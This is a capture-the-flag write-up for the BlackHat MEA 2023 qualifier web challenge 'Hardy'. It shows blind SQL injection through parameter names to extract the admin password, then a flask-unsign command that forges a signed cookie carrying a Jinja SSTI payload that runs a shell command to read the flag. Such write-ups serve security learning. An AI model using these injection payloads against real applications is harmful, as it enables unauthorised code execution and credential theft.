> For the complete documentation index, see [llms.txt](https://blog.diefunction.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.diefunction.io/ctf/blackhatmea-quals-2023/web-hardy.md).

# Web - Hardy

**No source code was provided**

## Solution

The parameter names are vulnerable to SQL Injection

### **Dumping the admin password**

```
username=admin&SUBSTRING(password,1,1)=I
```

```
username=admin&SUBSTRING(password,1,2)=IL
```

```
username=admin&SUBSTRING(password,1,3)=ILI
```

**ILIKEpotatoesSOMUCH::&&** is the password for the admin

the password also is being used as a **JWT** secret and the application is vulnerable to SSTI `{'type':'{{<payload>}}'}`

### **The Flag**

```
flask-unsign --sign \ 
--cookie "{'type': '{{cycler.__init__.__globals__.os.popen(\"cat /flag_086bf2851588e4e353fecee934635e09.txt\").read()}}'}" \
--secret "ILIKEpotatoesSOMUCH::&&"
```